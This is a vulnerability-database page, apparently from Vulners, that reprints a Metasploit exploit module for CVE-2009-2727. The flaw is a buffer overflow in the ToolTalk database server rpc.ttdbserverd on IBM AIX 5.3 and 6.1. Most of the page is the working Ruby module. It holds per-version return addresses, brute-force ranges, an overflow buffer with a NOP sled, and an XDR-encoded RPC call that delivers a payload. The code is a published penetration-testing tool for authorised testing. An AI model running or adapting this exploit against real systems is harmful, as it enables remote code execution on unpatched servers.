Lucene search
K

ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)

🗓️ 23 Jun 2009 03:49:25Reported by Ramon de C Valle <[email protected]>, Adriano Lima <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 23 Views

ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX) This module exploits a buffer overflow vulnerability in _tt_internal_realpath function of the ToolTalk database server (rpc.ttdbserverd)

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
AIX 5.2 TL 0 : libtt (IZ52842)
30 Jan 201300:00
nessus
Tenable Nessus
AIX 5.3 TL 0 : libtt (IZ52843)
30 Jan 201300:00
nessus
Tenable Nessus
AIX 5.3 TL 7 : libtt (IZ52844)
30 Jan 201300:00
nessus
Tenable Nessus
AIX 5.3 TL 8 : libtt (IZ52845)
30 Jan 201300:00
nessus
Tenable Nessus
AIX 5.3 TL 9 : libtt (IZ52846)
30 Jan 201300:00
nessus
Tenable Nessus
AIX 6.1 TL 0 : libtt (IZ52848)
30 Jan 201300:00
nessus
Tenable Nessus
AIX 6.1 TL 1 : libtt (IZ52849)
30 Jan 201300:00
nessus
Tenable Nessus
AIX 6.1 TL 2 : libtt (IZ52850)
30 Jan 201300:00
nessus
Tenable Nessus
AIX 6.1 TL 3 : libtt (IZ52851)
30 Jan 201300:00
nessus
Tenable Nessus
AIX 5.2 TL 10 : X11.Dt.ToolTalk (U827247)
17 Jul 200900:00
nessus
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SunRPC
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability in _tt_internal_realpath
        function of the ToolTalk database server (rpc.ttdbserverd).
      },
      'Author'         =>
        [
          'Ramon de C Valle',
          'Adriano Lima <adriano[at]risesecurity.org>',
        ],
      'Platform'       => [ 'aix' ],
      'References'     =>
        [
          [ 'CVE', '2009-2727'],
          [ 'OSVDB', '55151' ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00",
        },
      'Targets'        =>
        [
          [
            'IBM AIX Version 6.1.4',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099430+4096,
              'Addr1'    => 0x2ff1ff50-8192,
              'AIX'  => '6.1.4',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099430-8192 },
                'Stop'  => { 'Ret' => 0x20099430+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 6.1.3',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099280+4096,
              'Addr1'    => 0x2ff1ffd0-8192,
              'AIX'  => '6.1.3',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099280-8192 },
                'Stop'  => { 'Ret' => 0x20099280+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 6.1.2',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099280+4096,
              'Addr1'    => 0x2ff1ffd0-8192,
              'AIX'  => '6.1.2',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099280-8192 },
                'Stop'  => { 'Ret' => 0x20099280+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 6.1.1',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099280+4096,
              'Addr1'    => 0x2ff1ffd0-8192,
              'AIX'  => '6.1.1',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099280-8192 },
                'Stop'  => { 'Ret' => 0x20099280+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 6.1.0',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20099280+4096,
              'Addr1'    => 0x2ff1ffd0-8192,
              'AIX'  => '6.1.0',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20099280-8192 },
                'Stop'  => { 'Ret' => 0x20099280+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096ba0+4096,
              'Addr1'    => 0x2ff1ff14-8192,
              'AIX'  => '5.3.9',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096ba0-8192 },
                'Stop'  => { 'Ret' => 0x20096ba0+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.10',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096bf0+4096,
              'Addr1'    => 0x2ff1ff14-8192,
              'AIX'  => '5.3.10',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096bf0-8192 },
                'Stop'  => { 'Ret' => 0x20096bf0+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.9',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096ba0+4096,
              'Addr1'    => 0x2ff1ff14-8192,
              'AIX'  => '5.3.9',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096ba0-8192 },
                'Stop'  => { 'Ret' => 0x20096ba0+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.8',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096c10+4096,
              'Addr1'    => 0x2ff1ff98-8192,
              'AIX'  => '5.3.8',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096c10-8192 },
                'Stop'  => { 'Ret' => 0x20096c10+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'IBM AIX Version 5.3.7',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0x20096c10+4096,
              'Addr1'    => 0x2ff1ff98-8192,
              'AIX'  => '5.3.7',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x20096c10-8192 },
                'Stop'  => { 'Ret' => 0x20096c10+8192 },
                'Step'  => 1024
              }
            }
          ],
          [
            'Debug IBM AIX Version 6.1',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0xaabbccdd,
              'Addr1'    => 0xddccbbaa,
              'AIX'  => '6.1.4',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0xaabbccdd },
                'Stop'  => { 'Ret' => 0xaabbccdd },
                'Step'  => 1024
              }
            }
          ],
          [
            'Debug IBM AIX Version 5.3',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'Ret'      => 0xaabbccdd,
              'Addr1'    => 0xddccbbaa,
              'AIX'  => '5.3.10',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0xaabbccdd },
                'Stop'  => { 'Ret' => 0xaabbccdd },
                'Step'  => 1024
              }
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-06-17'))

  end

  def brute_exploit(brute_target)

    if not @aixpayload
      datastore['AIX'] = target['AIX']
      @aixpayload = regenerate_payload.encoded
    end

    print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret'])

    begin

      sunrpc_create('tcp', 100083, 1)

      if target['AIX'] =~ /6\./
        buf = "A"
      else
        buf = "AA"
      end

      buf << [target['Addr1']].pack('N') * (1022 + 8)
      buf << [brute_target['Ret']].pack('N') * 32

      if target['AIX'] =~ /6\./
        buf << "AAA"
      else
        buf << "AA"
      end

      buf << "\x7f\xff\xfb\x78" * 1920
      buf << @aixpayload
      buf = Rex::Encoder::XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)

      print_status('Sending procedure 15 call message...')
      sunrpc_call(15, buf)

      sunrpc_destroy
      handler

    rescue Rex::Proto::SunRPC::RPCTimeout
      # print_error('RPCTimeout')
    rescue EOFError
      # print_error('EOFError')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation